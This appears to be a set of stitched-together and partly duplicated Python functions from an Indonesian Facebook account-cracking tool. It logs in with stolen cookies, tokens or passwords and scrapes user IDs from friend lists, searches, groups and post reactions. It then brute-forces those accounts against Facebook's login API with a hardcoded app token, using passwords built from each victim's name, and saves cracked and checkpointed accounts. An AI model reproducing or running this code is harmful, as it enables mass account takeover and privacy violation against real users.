def loginSuccess(self): br(1) prints( '!h! ogheyy login berhasil, mohon gunakan script ini sewajarnya!') br(1) inputs('!k!Tekan enter...') return self.store.instance.run()
def getIDFriedsList(self, stop=False, path='/friends/center/friends', saveTo='friendsList'): while stop == False: response = self.store.http.get(path).bs4() for x in response.find_all(style='vertical-align: middle'): hrefs = x.find('a') if '+' not in str(hrefs) and hrefs != None: name = str(hrefs.text) uid = re.findall( r'/\?uid=(\d+)&' if '/?uid=' in str(hrefs) else '/(.*?)\?fref=', hrefs['href']) prints(f'\r !m!-!ran! {name}', blank_right=int(len(self.proccess) - 20)) if len(uid) == 1 and str(uid[0]) not in self.__filter__: self.__filter__.append(str(uid[0])) self.__id__.append({ 'name': str(name), 'id': str(uid[0]) }) if 'Lihat selengkapnya' in str(response): path = response.find('a', string='Lihat selengkapnya')['href'] else: stop = True return self.save(saveTo)
def bruteAccount(self, id, pw): for passw in pw: params = { 'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32', 'format': 'JSON', 'sdk_version': '2', 'email': id, 'locale': 'vi_VN', 'password': passw, 'sdk': 'ios', 'generate_session_cookies': '1', 'sig': '3f555f99fb61fcd7aa0c44f58f522ef6', } response = self.store.http.get( 'https://b-api.facebook.com/method/auth.login', base_url=False, with_credentials=False, data=params).text() if id not in self.filter: self.loop += 1 self.filter.append(id) if re.search('(EAAA)\w+', str(response)): prints('\r!p![!h!OK!p!]!h! %s | %s' % (id, passw), blank_right=20) self.OK.append('%s | %s' % (id, passw)) break elif 'www.facebook.com' in str(response): prints('\r!p![!k!CP!p!]!k! %s | %s' % (id, passw), blank_right=20) self.CP.append('%s | %s' % (id, passw)) break
def askLogin(self): prints('!m!Login menggunakan cookies jauh lebih aman.', blank_left=4) br(1) prints('!m![!b!01!m!] !p!Login pake cookies', blank_left=4) prints('!m![!b!02!m!] !p!Login pake user & pass', blank_left=4) prints('!m![!b!03!m!] !p!Login pake access token', blank_left=4) br(1) while True: ask = inputs('!p!Pilih :!b! ', blank_left=4) if ask.lower() in ['1', '01']: br(1) progressBar(text='loading...', max=35) return self.cookies() elif ask.lower() in ['2', '02']: br(1) progressBar(text='loading...', max=35) return self.userPass() elif ask.lower() in ['3', '03']: br(1) progressBar(text='loading...', max=35) return self.token() else: br(1) prints('!m!Input salah...', blank_left=4) br(1)
def publicID(self, path=None): prints('!h!INGFO:!p!pastikan daftar teman bersifat publik, jika ngedump lebih dari 3k ID') prints('!m!mungkin akun anda akan kena limit!, dan tidak dapat menggunakan fitur ini lagi.!p!') br(1) prints("!p!Contoh : !h!zuck") while path == None: ids = inputs('!p!USERNAME TARGET :!h! ') response = self.store.http.get(f'/{str(ids)}').bs4() name = self.store.http.currentTitle() for x in response.find_all('a'): if '/friends?lst=' in str(x): path = x['href'] break if path == None: br(1) prints('!m!Id atau username salah atau teman tidak publik.') br(1) continue br(1) prints('!p!Nama akun: !k!%s!r!' %(name)) br(1) th = Thread(target=self.getIDpublic, args=(False, path, ids,)) th.start() self.run() return self
def getIDSearch(self, stop=False, path='/', saveTo='search', max=0, base_url=True): while stop == False: response = self.store.http.get(path, base_url).bs4() for x in response.find_all('a'): div = x.find('div') if '+' not in str(div) and div != None: name = str(div.text) uid = re.findall( r'/\?id=(\d+)&' if '/?id=' in str(x) else '/(.*?)\?refid=', str(x)) prints(f'\r !m!-!ran! {name}', blank_right=int(len(self.proccess) - 20)) if int(len(self.__id__)) == max or int(len( self.__id__)) > max: stop = True break if len(uid) == 1 and str(uid[0]) not in self.__filter__: self.__filter__.append(str(uid[0])) self.__id__.append({ 'name': str(name), 'id': str(uid[0]) }) if 'Lihat Hasil Selanjutnya' in str(response) and stop == False: path = response.find('a', string='Lihat Hasil Selanjutnya')['href'] base_url = False else: stop = True return self.save(saveTo)
def getIDPostGroup(self, stop=False, path='/', saveTo='postGroup', max=0): while stop == False: response = self.store.http.get(path).bs4() for x in response.find_all('h3'): hrefs = x.find('a') if '+' not in str(hrefs) and hrefs != None: name = str(hrefs.text) uid = re.findall(r'content_owner_id_new.(\d+)', hrefs['href']) prints(f'\r !m!-!ran! {name}', blank_right=int(len(self.proccess) - 20)) if int(len(self.__id__)) == max or int(len( self.__id__)) > max: stop = True break if len(uid) == 1 and str(uid[0]) not in self.__filter__: self.__filter__.append(str(uid[0])) self.__id__.append({ 'name': str(name), 'id': str(uid[0]) }) if 'Lihat Postingan Lainnya' in str(response) and stop == False: path = response.find('a', string='Lihat Postingan Lainnya')['href'] else: stop = True return self.save(saveTo)
def getIDReact(self, stop=False, path='/', saveTo='react', max=0): while stop == False: response = self.store.http.get(path).bs4() for x in response.find_all('h3'): hrefs = x.find('a') if '+' not in str(hrefs) and hrefs != None: name = str(x.text) uid = re.findall( r'\/profile.php\?id=(\d+)$' if 'profile.php?id=' in str(x) else '\/(.*?)\?', str(hrefs['href'])) prints(f'\r !m!-!ran! {name}', blank_right=int(len(self.proccess) - 20)) if int(len(self.__id__)) == max or int(len( self.__id__)) > max: stop = True break if len(uid) == 1 and str(uid[0]) not in self.__filter__: self.__filter__.append(str(uid[0])) self.__id__.append({ 'name': str(name), 'id': str(uid[0]) }) if 'Lihat Selengkapnya' in str(response) and stop == False: path = response.find('a', string='Lihat Selengkapnya')['href'] else: stop = True return self.save(saveTo)
def loginSuccess(self): br(1) prints('!h!Okeey login berhasil, mohon gunakan script ini sewajarnya!', blank_left=4) br(1) inputs('!k!Tekan enter...', blank_left=4) return self.store.instance.run()
def isActive(self): cookies = readCookies() progressBar(text='Mengecek cookies...', max=25) self.store.http.setCookies(cookies) id = re.findall(r'c_user=(\d+);', cookies)[0] try: response = self.store.http.get('/profile').text() except: br(1) prints('!m!Tidak ada koneksi mohon cek koneski internet Anda.!r!', blank_left=4) exit() if 'mbasic_logout_button' in str(response): banner() if 'Laporkan Masalah' not in str(response): try: http = self.store.http.get('/language.php') for i in http.bs4().find_all('a'): if 'Bahasa Indonesia' in str(i): http.get(i['href']) except: pass name = self.store.http.currentTitle() self.store.setCredentials({ 'id': id, 'name': name }) return True else: try: os.remove('.login.json') os.remove('session/%s.json'%(id)) except: pass return False
def animate(self): while self.event.is_set(): for i in list('\ |/-•'): count = len(self.__id__) datetimes = datetime.now().strftime('%H:%M:%S') self.proccess = '!p![!h!%s!p!]!ran! Writing ID (%s).. %s !r!'%(datetimes, count, i) prints(self.proccess, with_flush=True) time.sleep(0.1)
def main(self, threads=40): self.reset() prints( '!m!NOTE : Anda harus ngedump ID terlebih dahulu sebelum menggunakan fitur ini!', blank_left=4) br(1) while len(self.user) == 0: id = inputs('!p!List ID (!b!dump/react.json!p!) : !b!', blank_left=4) if os.path.exists(id) == False: br(1) prints('!m!Oops file \'%s\' tidak ditemukan...' % (id), blank_left=4) br(1) continue try: op = open(id, 'r', encoding='utf-8').read() op = json.loads(op) for ids in op['data']: pw = self.store.generatePasswordFromName(ids['name']) self.user.append({'id': ids['id'], 'pw': pw}) except: br(1) prints( '!m!Ada kesalahan mohon periksa file anda pastikan list ID diperoleh dari tool ini.', blank_left=4) br(1) continue br(1) customPW = [] ask = inputs( '!p!Apakah ingin menggunakan password manual? !m![!p!Y/t!m!] !p!: !b!', blank_left=4) if ask.lower() == 'y': br(1) prints( '!m!Gunakan (,)(comma) untuk password selanjutnya contoh !k!sayang,doraemon,facebook,dll!p!', blank_left=4) br(1) while True: customPW = inputs('!p!Set password : !b!', blank_left=4).split(',') if len(customPW) == 0 or customPW[0].strip() == '': br(1) prints('!m!Mohon isi password yang valid...', blank_left=4) br(1) continue break br(1) progressBar(text='loading...', max=35) th = Thread(target=self.crack, args=(threads, customPW)) th.start() self.run() return self
def cookies(self): while True: c*k = inputs('!p!Cookies FB anda :!b! ', blank_left=4) if self.attemptLoginCookies(c*k) == False: br(1) prints('!m!Cookies valid...', blank_left=4) br(1) continue else: return self.loginSuksesfull()
def cookies(self): while True: c*k = inputs('!p!Cookies :!h! ') if self.attemptLoginCookies(c*k) == False: br(1) prints('!m!Cookies Mati atau Akun Chekpoint ') br(1) continue else: return self.loginSuccess()
def token(self): prints('!m!Note : setelah anda memasukan token akan diconvert ke cookies, untuk token dari \'mutiple tools for facebook\' tidak dapat diconvert ke cookies, tapi tidak ada salahnya untuk mencoba!', blank_left=4) br(1) while True: tokens = inputs('!p!Access token :!b! ', blank_left=4) if self.attemptConvertTokenToCookies(tokens) == False: br(1) prints('!m!Access token salah atau tidak bisa diconvert ke cookies...', blank_left=4) br(1) continue else: return self.loginSuccess()
def token(self): prints('!m!\nNote : token akan diconvert ke dict_cookies') br(1) while True: tokens = inputs('!p!Token:!k! ', ) if self.attemptConvertTokenToCookies(tokens) == False: br(1) prints( '!m!TOKEN MATI atau TIDAK BISA DI CONVERT KE COOKIES...') br(1) continue else: return self.loginSuccess()
def react(self, path=None): prints( '!p!Contoh link postingan !m!(!b!https://www.facebook.com/4/posts/10112184244817511/?app=fbl!m!)', blank_left=4) br(1) while True: try: link = inputs('!p!Link postingan : !b!', blank_left=4) domain = link.split('//')[1].split('/')[0] link = link.replace(domain, 'mbasic.facebook.com') except IndexError: br(1) prints('!m!Link salah atau tidak valid...', blank_left=4) br(1) continue response = self.store.http.get(link, base_url=False).bs4() title = self.store.http.currentTitle().replace(' | Facebook', '') for x in response.find_all('a'): if '/ufi/reaction/profile/browser/?' in str(x): br(1) prints('!p!Title !k!%s' % (title), blank_left=4) br(1) path = x['href'] break if path != None: break else: br(1) prints('!m!Postingan tidak ditemukan...', blank_left=4) br(1) continue while True: try: max = int(inputs('!p!Limit (!b!100!p!) :!b! ', blank_left=4)) break except (ValueError): br(1) prints('!m!Masukan limit yang valid...', blank_left=4) br(1) continue br(1) th = Thread(target=self.getIDReact, args=( False, path, 'react', max, )) th.start() self.run() return self
def animate(self): while self.event.is_set(): for i in list('\ |/-•'): count = len(self.user) loop = int(self.loop) ok = len(self.OK) cp = len(self.CP) progress = (self.loop * 100) / count datetimes = datetime.now().strftime('%H:%M:%S') self.proccess = '!p![!b!{1}!p!]!ran! Cracking {2}/{3} OK:-!h!{4}!ran! CP:-!k!{5}!ran! {6} {7:.0f}% '.format( (''), str(datetimes), str(loop), str(count), str(ok), str(cp), str(i), (progress)) prints(self.proccess, with_flush=True) time.sleep(0.1)
def search(self): query = inputs('!p!Query : !b!', blank_left=4) path = f'/search/people/?q={query}&source=filter&isTrending=0' while True: try: max = int(inputs('!p!Limit (!b!100!p!) : !b!', blank_left=4)) break except (ValueError): br(1) prints('!m!Masukan limit yang valid...', blank_left=4) br(1) continue br(1) th = Thread(target=self.getIDSearch, args=(False, path, query, max)) th.start() self.run() return self
def search(self): query = inputs('!p!Kata kunci : !h!') path = f'/search/people/?q={query}&source=filter&isTrending=0' while True: try: max = int(inputs('!p!Limit (!b!100!p!) : !b!')) break except (ValueError): br(1) prints('!m! Yang bener lah !') br(1) continue br(1) th = Thread(target=self.getIDSearch, args=(False, path, query, max)) th.start() self.run() return self
def save(self, saveTo): datetimes = self.store.getDateTime() self.event.clear() time.sleep(2) saveTo = re.sub('\s\s+', '_', saveTo.lower()) save = open('dump/%s.json'%(saveTo), 'w') save.write(json.dumps({ 'created_at': datetimes, 'file_name': '%s.json'%(saveTo), 'data': self.__id__ })) save.close() br(2) prints('!p!Hasil tersimpan : !k!dump/%s.json'%(saveTo)) prints('!p!ID terambil : !k!%s' %(len(self.__id__))) br(1) return self.store.instance.back()
def save(self): time.sleep(2) datetimes = self.store.getDateTime() if os.path.exists('result/OK.json') == False: save = open('result/OK.json', 'w', encoding='utf-8') save.write(json.dumps({'data': []})) save.close() if os.path.exists('result/CP.json') == False: save = open('result/CP.json', 'w', encoding='utf-8') save.write(json.dumps({'data': []})) save.close() if len(self.OK) != 0: oldDataOK = open('result/OK.json', 'r', encoding='utf-8').read() oldDataOK = json.loads(oldDataOK) oldDataOK['data'].append({ 'created_at': datetimes, 'total': len(self.OK), 'list': self.OK }) save = open('result/OK.json', 'w', encoding='utf-8') save.write(json.dumps(oldDataOK)) save.close() br(2) prints('!p!OK : !h!%s' % (len(self.OK))) for i in self.OK: prints('!p!- !h!%s' % (i)) if len(self.CP) != 0: oldDataCP = open('result/CP.json', 'r', encoding='utf-8').read() oldDataCP = json.loads(oldDataCP) oldDataCP['data'].append({ 'created_at': datetimes, 'total': len(self.CP), 'list': self.CP }) save = open('result/CP.json', 'w', encoding='utf-8') save.write(json.dumps(oldDataCP)) save.close() br(2) prints('!p!CP : !k!%s' % (len(self.CP))) for i in self.CP: prints('!p!- !k!%s' % (i)) if len(self.OK) == 0 and len(self.CP) == 0: br(2) prints('!m!Mengsedih Tidak ada hasil :(') br(1)
def publicID(self, path=None): prints( '!m!INFO pastikan daftar teman bersifat publik, jika ngedump lebih dari 3k !k!Id!m! mungkin akun anda akan kena limit!, dan tidak dapat menggunakan fitur ini lagi. hasilnya akan tidak akurat dari yang jumlah id nya 1k mungkin cuma keambil 10 !k!id!m! doang bahkan tidak sama sekali.!r!', blank_left=4) br(1) while path == None: ids = inputs('!p!Id atau username akun :!b! ', blank_left=4) response = self.store.http.get(f'/{str(ids)}').bs4() name = self.store.http.currentTitle() for x in response.find_all('a'): if '/friends?lst=' in str(x): path = x['href'] break if path == None: br(1) prints( '!m!Id atau username salah atau mungkin daftar teman tidak publik.', blank_left=4) br(1) continue br(1) prints('!p!Nama akun !k!%s!r!' % (name), blank_left=4) br(1) th = Thread(target=self.getIDpublic, args=( False, path, ids, )) th.start() self.run() return self
def postGroup(self): while True: id = inputs('!p!ID group : !b!', blank_left=4) path = f'/groups/{str(id)}' response = self.store.http.get(path).text() if 'Konten Tidak Ditemukan' in str(response): br(1) prints('!m!Id group tidak ditemukan', blank_left=4) br(1) continue else: title = self.store.http.currentTitle() br(1) prints('!p!Nama group !k!%s' % (title), blank_left=4) br(1) try: max = int(inputs('!p!Limit (!b!100!p!) : !b!', blank_left=4)) break except (ValueError): br(1) prints('!m!Masukan limit yang valid...', blank_left=4) br(1) continue br(1) th = Thread(target=self.getIDPostGroup, args=(False, path, id, max)) th.start() self.run() return self
def userPass(self): prints('!m!* Gunakan VPN brazil, ukrania', blank_left=4) br(1) while True: user = inputs('!p!Id / username : !b!', blank_left=4) pasw = inputs('!p!Password : !b!', blank_left=4) if self.attemptLoginUserPass(user, pasw) == False: if self.is_checkpoint == True: br(1) prints('!k!Akun anda kena checkpoints..', blank_left=4) br(1) continue else: br(1) prints('!m!Login gagal sepertinya username atau password salah.', blank_left=4) br(1) continue else: return self.loginSuccess()
def publicID(self, path=None): prints('!m!INFO pastikan daftar teman bersifat publik!r!', blank_left=4) br(1) while path == None: ids = inputs('!p!Id atau username akun :!b! ', blank_left=4) response = self.store.http.get(f'/{str(ids)}').bs4() name = self.store.http.currentTitle() for x in response.find_all('a'): if '/friends?lst=' in str(x): path = x['href'] break if path == None: br(1) prints('!m!Id atau username salah atau mungkin daftar teman tidak publik.', blank_left=4) br(1) continue br(1) prints('!p!Nama akun !k!%s!r!' %(name), blank_left=4) br(1) th = Thread(target=self.getIDpublic, args=(False, path, ids,)) th.start() self.run() return self
def askLogin(self): os.system('clear') banner() prints('!h!Login menggunakan cookies jauh lebih aman.') br(1) prints("!p!PILIH METHODE LOGIN! ") br(1) prints('!p![!h!01!p!] !p!Login lewat cookies') prints('!p![!h!02!p!] !p!Login lewat access token') br(1) prints('!p!-!r!' * 55) while True: ask = inputs('!p!Pilih :!h! ') if ask.lower() in ['1', '01']: return self.cookies() elif ask.lower() in ['2', '02']: return self.token() else: br(1) prints('!m!Yang bener lah !.') br(1)
def sessionLogin(self): count = 0 prints('!m![ !b!PILIH AKUN UNTUK LOGIN !m!]') br(1) prints('!p!_!r!' * 55) br(1) data = lib.sessionList() for session in data: count += 1 name = session['credentials']['name'] id = session['credentials']['id'] created_at = session['created_at'] prints('!p![!k!%02d!p!] !h!%s (%s) !p!> !h!%s' % (count, name, id, created_at)) br(1) prints('!p!_!r!' * 55) br(1) prints('!m!tekan enter untuk login di akun baru.') while True: br(1) pils = inputs('!p!Pilih : !b!') br(1) if pils.strip() == '': return self.askLogin() try: name = data[int(pils) - 1]['credentials']['name'] id = data[int(pils) - 1]['credentials']['id'] cookies = data[int(pils) - 1]['credentials']['cookies'] prints('!p!Mencoba login di akun :!k!%s' % (name)) if self.attemptLoginCookies(cookies) == False: br(1) prints('!m!Login gagal cookies invalid !..') try: os.remove('session/%s.json' % (id)) except: pass time.sleep(3) return self.store.instance.run() else: return self.loginSuccess() except (ValueError, KeyError, IndexError): prints('!m!Yang bener lah !..')
def sessionLogin(self): count = 0 prints('!m![ !b!PILIH AKUN UNTUK LOGIN !m!]', blank_left=4) br(1) data = lib.sessionList() for session in data: count += 1 name = session['credentials']['name'] id = session['credentials']['id'] created_at = session['created_at'] prints('!m![!b!%02d!m!] !p!%s (%s) !m!> !b!%s' % (count, name, id, created_at), blank_left=4) br(1) prints('!m!Abaikan dan tekan enter untuk login di akun baru.', blank_left=4) while True: br(1) pils = inputs('!p!Pilih : !b!', blank_left=4) br(1) if pils.strip() == '': return self.askLogin() try: name = data[int(pils) - 1]['credentials']['name'] id = data[int(pils) - 1]['credentials']['id'] cookies = data[int(pils) - 1]['credentials']['cookies'] progressBar(text='loading...', max=35) prints('!p!Mencoba login di akun !k!%s' % (name), blank_left=4) if self.attemptLoginCookies(cookies) == False: br(1) prints('!m!Login gagal sepertinya Akun anda Cekpoin..', blank_left=4) try: os.remove('session/%s.json' % (id)) except: pass time.sleep(3) return self.store.instance.run() else: return self.loginSuksesfull() except (ValueError, KeyError, IndexError): prints('!m!Input valid..', blank_left=4)
def askLogin(self): prints( '!k!BACA BAIK², SETELAH ANDA BERHASIL ANDA HARUS COLI TERLEBIH DAHULU!!', blank_left=4) br(1) prints('!m!Login menggunakan cookies biar akun tidak kena cekpoin.', blank_left=4) br(1) prints('!m![!b!01!m!] !p!Login cookies⚠', blank_left=4) prints('!m![!b!02!m!] !p!Login pake akun anda⚠', blank_left=4) prints('!m![!b!03!m!] !p!Login pake access token⚠', blank_left=4) br(1) while True: ask = inputs('!p!Pilih :!b! ', blank_left=4) if ask.lower() in ['1', '01']: br(1) progressBar(text='loading...', max=35) return self.cookies() elif ask.lower() in ['2', '02']: br(1) progressBar(text='loading...', max=35) return self.userPass() elif ask.lower() in ['3', '03']: br(1) progressBar(text='loading...', max=35) return self.token() else: br(1) prints('!m!Input valid...', blank_left=4) br(1)